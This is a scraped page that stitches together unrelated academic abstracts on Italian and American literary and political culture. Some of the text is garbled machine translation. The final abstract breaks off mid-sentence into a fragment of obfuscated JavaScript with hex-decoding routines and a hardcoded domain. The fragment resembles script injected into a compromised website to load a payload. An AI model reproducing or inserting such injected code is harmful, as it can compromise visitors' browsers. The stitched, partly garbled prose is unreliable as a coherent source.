American Literature, Opera Librettos, and Pragmatism

Italian Politics and Culture from Fascism to Postwar Democracy in the Life and Work of Uguccione Ranieri di Sorbello (1906–1969)

In the aftermath of the Second World War, Italian intellectuals participated in Italy’s reconstruction with an ideological commitment inspired by the African-American struggle for equal rights in the United States. Drawing on the work of many of the leading figures in postwar Italian culture, including Italo Calvino, Giorgio Caproni, Cesare Pavese, and Elio Vittorini, this essay argues that Italian intellectual impegno—defined as the effort to remake Italian culture and to guide Italian social reform—was united with a significant investment in the African-American cause. The author terms this tendency impegno nero and traces its development in the critical reception of African-American writers including W.E.B. DuBois, Langston Hughes, and Richard Wright. Postwar impegno nero is then contrasted with the treatment of African-American themes under Fascism, when commentators had likewise condemned American racism, but had paradoxically linked their laments for the plight of African Americans with defenses of the racial policies of the Fascist regime. Indeed, Fascist colonialism and anti-Semitism were both justified through references to what Fascist intellectuals believed to be America’s greater injustices. After 1945, in contrast, Italian intellectuals advocated an international, interdependent campaign for justice, symbolizing national reforms by projecting them onto an emblematic America. In this way, impegno nero revived and revised the celebrated myth of America that had developed in Italy between the world wars. Advancing a new, postwar myth, Italian intellectuals adopted the African-American struggle in order to reinforce their own efforts in the ongoing struggle for justice in Italy.

This article examines how Roberto Leydi and Giovanna Marini, two important figures of the Italian ‘folk revival’, negotiated diverse American cultural influences and adapted them to the political context of Italy in the 1950s and 1960s. I argue that American musical traditions offered them valuable models even as many Italian intellectuals and artists grew more critical of US society and foreign policy. To explore this phenomenon in greater depth, I take as examples two particular moments of exchange. I first discuss American folklorist Alan Lomax's research in Italy and its impact on Leydi's career. I then examine how Marini employed American talking blues in order to reject US society in her first ballad, Vi parlo dell'America (I Speak to You of America) (1966). These two cases provide specific examples of how American influence worked in postwar Italy and the role of folk music in this process.

Objective. This paper aims to provide practical recommendations to the non-English-speaking staff working at academic libraries to practice the English language in order to fully utilize the potential of global indexing services such as Scopus and Web of Science. Methods. Comparative analysis and bibliometric analysis were employed to estimate the share of the English-language journals in the aforementioned databases to emphasize the relevance of proper knowledge of English by academic librarians given its current status as the language of global scientific communication. Results. The analysis results revealed that as of August 2021, 56 % of the Scopus-indexed journals were published in the English language only while most of the rest practiced a hybrid language approach allowing their authors to submit papers in two/three languages. In contrast, only 7 journals (0.016 % in the cited database) published their materials in the Ukrainian language only. This indirectly testifies to the importance for scientists in Ukraine to report their findings in English to reach a wider target audience. This assumption may underlie the fact that all the 15 Ukrainian journals newly accepted in the Scopus database (as of Aug 2021) are all hybrid, that is, the papers are published both in English and Ukrainian. Conclusions. It is a relevant task both for researchers in Ukraine and academic librarians at Ukrainian universities to practice their knowledge of the English language given its current status as the language of global science. A practical way to do it is to engage local professional translators (preferably with certified teaching experience) who have confirmed their knowledge of academic English to conduct sessions for librarians to train their practical skills in speaking (at international conferences) and writing (when submitting papers to relevant journals). This work provides a reference framework for such attempts.

The massacre of Roccagorga and the “red week”: Gramsci, “sovversivismo” and fascism
\nThe massacre of Roccagorga (January 1913) and the “red week” (June 1914) are two episodes to which Gramsci refers several times in the Prison Notebooks and in various articles published between 1916 and 1926. I shall argue that those are very precise references to the harsh debate which took place in Italy in the wake of these two episodes, involving the director of the PSI newspaper’s and leader of the party’s left wing, Benito Mussolini, the main representatives of the party, and several Italian politicians, writers and intellectuals.
\nMussolini made a close connection between Roccagorga and the “red week”, against and beyond the official line of the Socialist party, arguing that this had been the first great attempt at an autonomous unification of the popular masses from the South and the North of Italy.
\nThis argument is at the centre of Gramsci’s interest in the following years, when he outlines his interpretation of fascism as a political movement which, at the same time, expresses and disfigures the most profound aspirations and demands of the popular masses. In Mussolini’s deviation within the socialist movement, these aspirations and demands found a development which was also an interruption, since they were channeled towards the form of “national socialism” which would eventually merge into nationalism and imperialism. In this sense, it can be said that the connection between Roccagorga and the “red week” is key to understanding the roots of Gramsci’s qualification of fascism as a “passive revolution”.

During the age of the Restoration (1815–1848), Italian culture was marked by the increasing spread of the Romantic movement and a new reference to the Christian tradition. Even so, we should not generalise: the tendency to rediscover Christianity as a spiritual and cultural force in a figure like Alessandro Manzoni, for example, was paralleled by another legacy of Enlightenment culture in the field of the social sciences and economics (this is the case of Melchiorre Gioia, Giandomenico Romagnosi, and Giuseppe Ferrari), and in humanistic studies (here we can observe Enlightenment themes and materialistic elements persisting in the philological study of Antiquity and the moral reflections of Giacomo Leopardi). In this situation conditioned by static and often oppressive political regimes, Italian intellectuals did not appear to be driven by the same speculative creativity and enthusiasm for novelty as the other more advanced European nations. It is therefore no wonder that in Italy during the first half of the nineteenth century, the historiography of philosophy was heavily dependent on currents from abroad, particularly France, even though many raised their voices to demand a “national path” to philosophy. Translations of French and German general histories of philosophy were a constant element that compensated for the lack of works in Italian. Further on we shall examine the translation of Tennemann’s famous textbook more in detail; for the moment, let us mention some other general histories of philosophy which were translated into Italian: the Auszug des Wissenswürdigsten aus der Geschichte der Philosophie (Vienna, 1836) by Johann Peithner Ritter von Lichtenfels (translated as Compendio delle cose più degne a sapersi della storia della filosofia, ed. by D. Meschinelli, Vicenza, 1846) and the Abriss der Geschichte der Philosophie (Leipzig, 1837) by K.F.L. Kannegieszer (translated as Compendio della storia della filosofia, ed. by F. Bertinaria, Turin, 1843, Naples, 1854, with notes by F. Prudenzano). Giovanni Battista Passerini himself translated the Umrisse zur Geschichte der Philosophie (Berlin, 1839) by the Schellingian Eduard Schmidt, to which he added an interesting preface which he pointed out the advances made by the historiography of philosophy in Germany (Delineazione della storia della filosofia, Capolago, 1844). In 1840, again in Capolago, Passerini published a translation of Hegel’s Vorlesungen über die Philosophie der Geschichte, following the edition provided by Eduard Gans.

Modern Italy: A Very Short Introduction addresses the question of what modernity means to Italy and explores the extent to which modernity still represents a shared vision among Italian intellectuals, political leaders, and ordinary people. It covers the history of Italy from the Risorgimento (Resurgence), the movement leading to the Italian Unification in 1861, to the present. Italy’s political system and style of government is considered along with its economic modernization and issues with emigration, internal migration, and immigration. This volume concludes by looking at Italian culture and lifestyle, including modern art and architecture, cinema, literature, gastronomy, fashion, and sport.

Publishing houses and other cultural firms were key players in shaping the Italian cultural sphere after 1945. They also focused public attention on anti-colonial liberation struggles by translating works by Fanon, Cabral, Guevara, and other major Third-Worldists for Italian audiences. The editor Giulio Einaudi was particularly instrumental in helping to reconstruct Italian culture after the end of fascism, and was a highly committed and politicized publisher, with links to the Italian Communist Party and the more radical section of the Italian left; so much so that throughout the 1950s, 60s, and 70s (and beyond), the Einaudi book was perceived as “explicitly militant”. Einaudi promoted a series of books on the Algerian war of liberation against colonial France. The editor Giangiacomo Feltrinelli also published numerous texts related to Third-Worldism and anti-colonial nationalism. This chapter explores how Italian “resistance literature” took shape in those years across anti-fascist and anti-colonial contexts, through a look at publications in the Einaudi and Feltrinelli catalogues. Einaudi editors such as Italo Calvino, Giovanni Pirelli, and Raniero Panzieri were instrumental in creating a literary canon, later called Letteratura della Resistenza, that took on a multi-generic form. Narratives of the Resistance, relying as they did on testimony and documentary, traversed the categories of “saggistica” (or what today we would call non-fiction) and “narrativa” (or fiction). By looking at classic anti-fascist texts such as Primo Levi’s If This is A Man and Carlo Levi’s Christ Stopped at Eboli alongside anti-colonial/Third-Worldist writing published by Einaudi in the first thirsty years or so after the end of World War II, such as Pirelli’s books of testimonies about the Algerian war, the chapter begins to outline the features of a “resistance aesthetics” of narratives by Italian intellectuals and artists who had fought in the Resistance and who now turned to anti-colonial writing as an ideal continuation of their cause. This “resistance aesthetics” which draws on literary and artistic currents of the Italian postwar, such as realism and neorealism, played a central role in re-imagining the Italian nation both in anti-fascist and in internationalist, anti-colonial terms, and also widens the concept of resistance beyond Italy to encompass a shared solidarity with anti-colonial struggle.

Scholarship has for decades emphasized the significant continuities in Italian culture and society after Fascism, calling into question the rhetoric of post-war renewal. This article proposes a reassessment of that rhetoric through the analysis of five key metaphors with which Italian intellectuals represented national recovery after 1945: parenthesis, disease, flood, childhood and discovery. While the current critical consensus would lead us to expect a cultural conversation characterized by repression and evasion, an analysis of these five post-war metaphors instead reveals both a penetrating reassessment of Italian culture after Fascism and an earnest adherence to the cause of national revitalization. Foregrounding the inter-relation of Italy’s prospects for change and its continuities with Fascism, these metaphors suggest that post-war Italian intellectuals conceived of their country’s hopes for renewal, as well as its connections to the recent past, in terms that transcend the binary division favoured in many historical accounts.

ideals of 1789 nor for the naturalistic emphasis on 'Latinity' characteristic of the anti-German position. In addition, the futurist exaltation of war as hygienic seemed an aspect of that decadent irrationalism that Croce had been seeking to check for the past decade. Writing to the La Voce critic, Renato Serra, in February 1915, he lamented 'the mental and moral decomposition of our friends in Florence', referring to the passion for the war of the Florentine avant-garde.14 He lashed out especially at D'Annunzio, his cultural rival in many respects, deploring the 'insipid bombast' and moral flabbiness of D'Annunzio's interventionist speeches. D'Annunzio's famed Sagra dei mille address, before 20,000 at the unveiling of a monument to Garibaldi and his Thousand on 5 May 1 9 1 5, was 'a tocsin hardly worthy of the first great war of united Italy', and stood in sorry contrast to the eternal truth of Giosue Carducci's patriotic poetry of a generation earlier.15 Finally, Croce could have no use for the Nationalists, with their naturalistic conception of the nation, and their willingness to make the cultural sphere an instrument for success in the international struggle. The spurious arguments of the noisiest interventionists seemed evidence to Croce that Italian culture was still too fragile to stand the strain of war. Italy needed to keep learning, growing, forming her culture without the extraneous passions of an unnecessary war. Given Italy's cultural immaturity, involvement in the war could dissolve the modest cultural gains of the past two decades or so, undercutting the new seriousness and discipline, bringing her rhetorical propensities to the fore once again. This sort of degeneration was what Croce especially sought to prevent once Italy had intervened. He did support the war, but because his major thrust continued to be defensive and conservative, his stance remained extremely controversial. He was vilified as a Germanophile, even accused of pro-German treason. Some took up calling him von Kreuz, rendering his surname into German, while one anti-German pamphlet published 14 Quoted in Alfredo Grilli, Tempo di Serra (Florence, 1961), p. 223. Croce's best known attack on this side of the Italian avant-garde is 'Di un carattere della piu recente letteratura italiana' (1907), now in La letteratura della nuova Italia: Saggi critici, (6 vols., Bari, 1973), iv. 177-93. Tne contrast between Croce's conception of the war and Renato Serra's own is a subject in itself and cannot be dealt with here. See Eugenio Garin, Intellettuali italiani del xxsecolo (Rome, 1974), pp. 45-6, for an introduction to the terms of this problem. 15 Croce, Ultalia dal 1914 al 191 8, p. 57. This article, entitled 'D'Annunzio e Carducci', is dated May 1915. See also Croce's retrospective critique of D'Annunzio in A History of Italy 1871-1915 (New York, 1963), pp. 280-2.

In the eighteenth century a distinct brand of Anglomania started to flourish in Italian literary circles, soon mirrored by a growing interest in Britain for all things Italian.1 Suffice to mention, as examples of these early, sporadic connections, Melchiorre Cesarotti’s acclaimed Italian translation of Ossian’s poems (1782) and, later, the exiled Ugo Foscolo’s essays on Dante and Petrarch published in the prestigious Edinburgh Review (1818). During the following decades a more sustained interest in Italian culture as a whole – as well as in the country’s political changes taking place through the Risorgimento – fostered more regular exchange between the Italian peninsula and Britain.2 Amongst the British elites, in particular, the intellectual, theorist and activist Giuseppe Mazzini and the writer Alessandro Manzoni rapidly achieved fame as iconic figures symbolizing Italy’s process of political liberation from foreign oppressors. In the years that followed the Italian unification, the city of Florence gained prominence as the geographical fulcrum of an activity of cosmopolitan cultural exchange between British and Italian intellectuals that had not had notable precedent in the history of the two nations. Late nineteenth-century Florence nurtured what has been described as ‘a distinct fin-de-siecle anglomania’:3 it was the Italian city where English culture circulated most extensively in its fashionable literary salons and lively publishing scene. These modern forms of transnational interactions (widespread in but not limited to Anglo-Italian circles) did not remain isolated, but rather played an important role in shaping the international literary profile of the Tuscan centre. This article discusses one of these cosmopolitan cultural exchanges between two leading figures in the fin-de-siecle Florentine Anglo-Italian

"A meticulously researched, highly informed, carefully argued, and very accessible account of American socialism, socialists, and socialistic thinking, from the late nineteenth century through the 1960s . . . challenges the intellectual and political legacy of Werner Sombart's Why Is There No Socialism in the United States?, whose spirit still hovers over animated discussions about the 'failures' of socialism in the United States." ---James A. Miller, George Washington University "A valuable rethinking and reframing of the traditions of leftist literary scholarship in the U.S." ---Sylvia Cook, University of Missouri, St. Louis American Socialist Triptych: The Literary-Political Work of Charlotte Perkins Gilman, Upton Sinclair, and W. E. B. Du Bois explores the contributions of three writers to the development of American socialism over a fifty--year period and asserts the vitality of socialism in modern American literature and culture. Drawing upon a wide range of texts including archival sources, Mark W. Van Wienen demonstrates the influence of reform-oriented, democratic socialism both in the careers of these writers and in U.S. politics between 1890 and 1940. While offering unprecedented in-depth analysis of modern American socialist literature, this book charts the path by which the supposedly impossible, dangerous ideals of a cooperative commonwealth were realized, in part, by the New Deal. American Socialist Triptych provides in-depth, innovative readings of the featured writers and their engagement with socialist thought and action. Upton Sinclair represents the movement's most visible manifestation, the Socialist Party of America, founded in 1901; Charlotte Perkins Gilman reflects the socialist elements in both feminism and 1890s reform movements, and W. E. B. Du Bois illuminates social democratic aspirations within the NAACP. Van Wienen's book seeks to re-energize studies of Sinclair by treating him as a serious cultural figure whose career peaked not in the early success of The Jungle but in his nearly successful 1934 run for the California governorship. It also demonstrates as never before the centrality of socialism throughout Gilman's and Du Bois's literary and political careers. More broadly, American Socialist Triptych challenges previous scholarship on American radical literature, which has focused almost exclusively on the 1930s and Communist writers. Van Wienen argues that radical democracy was not the phenomenon of a decade or of a single group but a sustained tradition dispersed within the culture, providing a useful genealogical explanation for how socialist ideas were actually implemented through the New Deal. American Socialist Triptych also revises modern American literary history, arguing for the endurance of realist and utopian literary modes at the height of modernist literary experimentation and showing the importance of socialism not only to the three featured writers but also to their peers, including Edward Bellamy, Hamlin Garland, Jack London, Edna St. Vincent Millay, and Claude McKay. Further, by demonstrating the importance of social democratic thought to feminist and African American campaigns for equality, the book dialogues with recent theories of radical egalitarianism. Readers interested in American literature, U.S. history, political theory, and race, gender, and class studies will all find in American Socialist Triptych a valuable and provocative resource.

English and American literature translation can help readers appreciate foreign cultures and deepen their interpretation and knowledge of English and American literature. There are more relevant contents involved in the teaching of English and American literature translation. Translation is a very important task for different countries to communicate and must be given enough attention, and the translation of English and American literature is very important for readers to deeply appreciate the cultural style of foreign countries. In order to solve these problems and find the appropriate strategies for translating talents from English and American literature. In this paper, we will analyze this specifically, meet the requirements of training translation talents, combine the development of our country and our own background, and create a new training mode according to the Internet environment, so as to strengthen the training of talents. At the same time, the idea of constructing the teaching and composite innovative talents cultivation model of environmental ecology courses under the background of Internet big data is proposed, and the characteristics and functions of the innovative teaching and talents cultivation model are analyzed. The ultimate goal is to cultivate outstanding talents with a sense of family, global vision, innovation and practical ability, and to promote their application through teaching salons and symposiums. With the use of this model, the current environment of the Internet has been innovated in the innovative mode of talent training, and the corresponding training methods have created the best learning space for students and improved their ability to read original English and American texts and translate their works.

Research Article| July 01 2020 From Rural Miseria to Urban Repression: Environmental Injustice and Eco-Nostalgia in Italian American History and Literature Sienna Hopkins Sienna Hopkins SIENNA HOPKINS holds a PhD in Italian literature from UCLA. She currently teaches Italian language, culture, history, and comparative literature at California State University, Long Beach. Her areas of research are Italian Renaissance biography, Italian American history and literature, migration studies, ecocriticism, and gender studies. Her courses include “The Italian American Experience,” “Reading between the Lines: Analyzing Italian Literature, Love and Death in Italian Literature 1300-1800,” “Nation, Self, and Psyche in Italian Literature 1800-Present,” and “La Dolce Vita: Italian Culture Through the Centuries.” In 2012-2013 she was visiting assistant professor of Italian at Pepperdine University, where her courses included “Italian Literature Through Film, Italian Theater, and Italian Culture.” Search for other works by this author on: This Site Google Italian American Review (2020) 10 (2): 114–147. https://doi.org/10.5406/italamerrevi.10.2.0114 Cite Icon Cite Share Icon Share Facebook Twitter LinkedIn MailTo Permissions Search Site Citation Sienna Hopkins; From Rural Miseria to Urban Repression: Environmental Injustice and Eco-Nostalgia in Italian American History and Literature. Italian American Review 1 January 2020; 10 (2): 114–147. doi: https://doi.org/10.5406/italamerrevi.10.2.0114 Download citation file: Zotero Reference Manager EasyBib Bookends Mendeley Papers EndNote RefWorks BibTex toolbar search Search Dropdown Menu toolbar search search input Search input auto suggest filter your search All Scholarly Publishing CollectiveUniversity of Illinois PressItalian American Review Search Advanced Search The text of this article is only available as a PDF. Copyright 2020 by the Board of Trustees of the University of Illinois2020 Article PDF first page preview Close Modal You do not currently have access to this content.

The article analyzes the cultural markers of potential ideological liberal education, providing treatment to identify the "code" of cultural development. Studied liberal arts education, which aims to give a holistic worldview determined cultural markers of the information society, globalization. Humanitarian education designed to justify a new dialogue with nature as the noosphere. The place and role of speech globalization as a process of active interpenetration of languages in the context of globalization, characterized by the dominance of the English language. Thanks to systematic and synergetic methods studied cultural markers ideological potential humanitarian education in the nonlinear space. It is concluded that the era of transformation of education under the influence of globalization and informatization factors causing significant changes in the ideological and value systems of modern societies. Proficiency in English - a combination of experience, values, information, expert assessments, defining a new experience and culture. Knowledge Management English speech in the conditions of globalization - a systematic process of identification, use and transfer of information, knowledge, people can create, refine and apply. Acquiring knowledge of English extends humanitarian culture in which a person samoudoskonalyuyetsya and generates new knowledge accumulates and uses them in the interest of obtaining competitive advantages of both the individual, so organizations. Knowledge Management English speech in the conditions of globalization includes the following components: 1) stimulate growth of knowledge of the English language: 2) selection and accumulation of significant evidence of a country that is studied; 3) preservation, classification, transformation, ensuring availability of knowledge of the English language; 4) the dissemination and sharing of knowledge, including in the framework of the organization; 5) Use knowledge of English in business negotiations (processes), including in decision-making; 6) implementation of knowledge of English in products, services, documents, databases and software applications; 7) protection of knowledge aimed at samoudoskonalennyat personality. The key objectives of improving the quality of humanitarian education in the EU related quality of youth acquiring mastery of foreign languages, including English, which involves raising the level of humanitarian culture, building their own social and cultural identity by exploring another culture. The dialogue of cultures and civilizations described as the interaction of different cultures in a situation pluralistic cultural environment, the task of which is adaptation to new cultural values in the information society// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e